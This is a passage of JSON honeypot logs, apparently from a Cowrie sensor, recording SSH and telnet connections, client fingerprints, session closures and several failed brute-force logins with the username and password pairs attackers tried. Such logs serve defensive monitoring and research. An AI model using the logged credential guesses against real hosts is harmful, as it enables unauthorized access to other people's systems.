gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:00.763379Z","src_ip":"109.172.54.111","session":"5e6990f9a598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ijrjkfl","message":"login attempt [root/ijrjkfl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:01.061576Z","src_ip":"109.172.54.111","session":"5e6990f9a598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":2996,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b10de949639","protocol":"ssh","message":"New connection: 178.20.210.186:2996 (10.17.0.5:22) [session: 2b10de949639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:01.538131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:01.545338Z","src_ip":"178.20.210.186","session":"2b10de949639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:01.993049Z","src_ip":"178.20.210.186","session":"2b10de949639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48352,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59e945f2481","protocol":"telnet","message":"New connection: 50.6.8.71:48352 (10.17.0.5:23) [session: e59e945f2481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:02.097751Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:02.168579Z","src_ip":"109.172.54.111","session":"5e6990f9a598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123123","message":"login attempt [test/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:02.375496Z","src_ip":"178.20.210.186","session":"2b10de949639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:03.908556Z","src_ip":"178.20.210.186","session":"2b10de949639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.03596043586731,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:07.098541Z","src_ip":"50.6.8.71","session":"0570b20548d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.987950563430786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:08.935431Z","src_ip":"50.6.8.71","session":"a1de28795e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44350,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba70dbd102e","protocol":"telnet","message":"New connection: 50.6.8.71:44350 (10.17.0.5:23) [session: eba70dbd102e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:13.904731Z"}
{"eventid":"cowrie.session.closed","duration":37.21364760398865,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:14.004735Z","src_ip":"50.6.8.71","session":"b9fc8ecd8e2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.23092293739319,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:17.090812Z","src_ip":"50.6.8.71","session":"28947f100af3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82721495628357,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:17.131867Z","src_ip":"50.6.8.71","session":"a22161e99a35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.34400296211243,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:19.472888Z","src_ip":"50.6.8.71","session":"19f448845b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47934,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aac62a04d61","protocol":"telnet","message":"New connection: 50.6.8.71:47934 (10.17.0.5:23) [session: 3aac62a04d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:24.344321Z"}
{"eventid":"cowrie.session.closed","duration":31.992406129837036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:34.089972Z","src_ip":"50.6.8.71","session":"e59e945f2481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40994,"dst_ip":"10.17.0.5","dst_port":23,"session":"434d64438268","protocol":"telnet","message":"New connection: 50.6.8.71:40994 (10.17.0.5:23) [session: 434d64438268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:35.993997Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41000,"dst_ip":"10.17.0.5","dst_port":23,"session":"52dcd543fc3f","protocol":"telnet","message":"New connection: 50.6.8.71:41000 (10.17.0.5:23) [session: 52dcd543fc3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:37.618238Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41010,"dst_ip":"10.17.0.5","dst_port":23,"session":"f211f4ed40f2","protocol":"telnet","message":"New connection: 50.6.8.71:41010 (10.17.0.5:23) [session: f211f4ed40f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:38.881026Z"}
{"eventid":"cowrie.session.closed","duration":32.87761211395264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:46.782219Z","src_ip":"50.6.8.71","session":"eba70dbd102e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.641780614852905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:55.985958Z","src_ip":"50.6.8.71","session":"3aac62a04d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab7293d981f","protocol":"telnet","message":"New connection: 50.6.8.71:37190 (10.17.0.5:23) [session: 2ab7293d981f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:04:57.652407Z"}
{"eventid":"cowrie.session.closed","duration":31.11445665359497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:05:09.995394Z","src_ip":"50.6.8.71","session":"f211f4ed40f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07538986206055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:05:10.693497Z","src_ip":"50.6.8.71","session":"52dcd543fc3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.783347606658936,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:05:10.777213Z","src_ip":"50.6.8.71","session":"434d64438268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.694788217544556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:05:29.346987Z","src_ip":"50.6.8.71","session":"2ab7293d981f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44186,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f020e53101c","protocol":"telnet","message":"New connection: 50.6.8.71:44186 (10.17.0.5:23) [session: 5f020e53101c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:05:29.944116Z"}
{"eventid":"cowrie.session.closed","duration":30.672118186950684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:00.616274Z","src_ip":"50.6.8.71","session":"5f020e53101c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38294,"dst_ip":"10.17.0.5","dst_port":23,"session":"9527548a4a5c","protocol":"telnet","message":"New connection: 50.6.8.71:38294 (10.17.0.5:23) [session: 9527548a4a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:12.754864Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.79.95","src_port":60326,"dst_ip":"159.203.135.109","dst_port":23,"session":"d410d3169ef2","protocol":"telnet","message":"New connection: 143.20.79.95:60326 (159.203.135.109:23) [session: d410d3169ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:15.597152Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"421514fda160","protocol":"telnet","message":"New connection: 50.6.8.71:49118 (10.17.0.5:23) [session: 421514fda160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:25.206619Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44128,"dst_ip":"10.17.0.5","dst_port":23,"session":"d902826c2ccf","protocol":"telnet","message":"New connection: 50.6.8.71:44128 (10.17.0.5:23) [session: d902826c2ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:26.418741Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37966,"dst_ip":"10.17.0.5","dst_port":23,"session":"27edb3c23d7b","protocol":"telnet","message":"New connection: 50.6.8.71:37966 (10.17.0.5:23) [session: 27edb3c23d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:38.354385Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37976,"dst_ip":"10.17.0.5","dst_port":23,"session":"995cc17904bc","protocol":"telnet","message":"New connection: 50.6.8.71:37976 (10.17.0.5:23) [session: 995cc17904bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:39.698935Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37990,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f728586f38","protocol":"telnet","message":"New connection: 50.6.8.71:37990 (10.17.0.5:23) [session: 33f728586f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:44.350083Z"}
{"eventid":"cowrie.session.closed","duration":33.85637068748474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:46.611088Z","src_ip":"50.6.8.71","session":"9527548a4a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04463744163513,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:52.641674Z","src_ip":"143.20.79.95","session":"d410d3169ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55661964416504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:56.763104Z","src_ip":"50.6.8.71","session":"421514fda160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":53868,"dst_ip":"159.203.135.109","dst_port":22,"session":"3813a2c9106e","protocol":"ssh","message":"New connection: 185.236.22.41:53868 (159.203.135.109:22) [session: 3813a2c9106e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:58.775131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:58.888556Z","src_ip":"185.236.22.41","session":"3813a2c9106e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:58.893571Z","src_ip":"185.236.22.41","session":"3813a2c9106e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:06:59.780377Z","src_ip":"185.236.22.41","session":"3813a2c9106e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39058,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef985ac03205","protocol":"telnet","message":"New connection: 50.6.8.71:39058 (10.17.0.5:23) [session: ef985ac03205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:00.342617Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:00.924443Z","src_ip":"185.236.22.41","session":"3813a2c9106e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.83295655250549,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:03.251599Z","src_ip":"50.6.8.71","session":"d902826c2ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":46150,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da24c35ca3e","protocol":"ssh","message":"New connection: 87.251.79.125:46150 (10.17.0.5:22) [session: 0da24c35ca3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:05.652338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:05.657436Z","src_ip":"87.251.79.125","session":"0da24c35ca3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:05.732349Z","src_ip":"87.251.79.125","session":"0da24c35ca3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:05.954539Z","src_ip":"87.251.79.125","session":"0da24c35ca3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:07.030182Z","src_ip":"87.251.79.125","session":"0da24c35ca3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35338,"dst_ip":"10.17.0.5","dst_port":23,"session":"272e28d36b91","protocol":"telnet","message":"New connection: 50.6.8.71:35338 (10.17.0.5:23) [session: 272e28d36b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:09.009284Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35350,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8d2f84fc822","protocol":"telnet","message":"New connection: 50.6.8.71:35350 (10.17.0.5:23) [session: a8d2f84fc822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:15.701735Z"}
{"eventid":"cowrie.session.closed","duration":33.01104402542114,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:17.360994Z","src_ip":"50.6.8.71","session":"33f728586f38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.02898168563843,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:18.383239Z","src_ip":"50.6.8.71","session":"27edb3c23d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49886,"dst_ip":"10.17.0.5","dst_port":23,"session":"c697b86bad81","protocol":"telnet","message":"New connection: 50.6.8.71:49886 (10.17.0.5:23) [session: c697b86bad81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:20.157434Z"}
{"eventid":"cowrie.session.closed","duration":42.26204204559326,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:21.960861Z","src_ip":"50.6.8.71","session":"995cc17904bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41598,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eee397bad0a","protocol":"telnet","message":"New connection: 50.6.8.71:41598 (10.17.0.5:23) [session: 2eee397bad0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:28.242320Z"}
{"eventid":"cowrie.session.closed","duration":34.15264368057251,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:34.495117Z","src_ip":"50.6.8.71","session":"ef985ac03205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52270,"dst_ip":"10.17.0.5","dst_port":23,"session":"46e79876ca73","protocol":"telnet","message":"New connection: 50.6.8.71:52270 (10.17.0.5:23) [session: 46e79876ca73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:42.808677Z"}
{"eventid":"cowrie.session.closed","duration":30.583292484283447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:46.284918Z","src_ip":"50.6.8.71","session":"a8d2f84fc822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.37683033943176,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:46.385980Z","src_ip":"50.6.8.71","session":"272e28d36b91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3700909614563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:07:59.612321Z","src_ip":"50.6.8.71","session":"2eee397bad0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.77.182.54","src_port":49706,"dst_ip":"10.17.0.5","dst_port":23,"session":"4251f3a988b1","protocol":"telnet","message":"New connection: 47.77.182.54:49706 (10.17.0.5:23) [session: 4251f3a988b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:00.424559Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.174.146","src_port":49988,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d52a2846986","protocol":"ssh","message":"New connection: 74.48.174.146:49988 (10.17.0.5:22) [session: 2d52a2846986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:08:03.649015Z"}
